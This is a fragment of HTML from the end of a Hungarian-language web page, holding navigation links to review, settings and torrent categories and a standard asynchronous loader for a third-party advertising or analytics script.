menu-item-"><a href="https://storerarity.ru/hu/category/reviews/">Vélemények</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hu/category/setup/">Beállítások</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hu/category/torrent/">Torrent</a></li> </ul> </div> </div> </nav> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> </body> </html>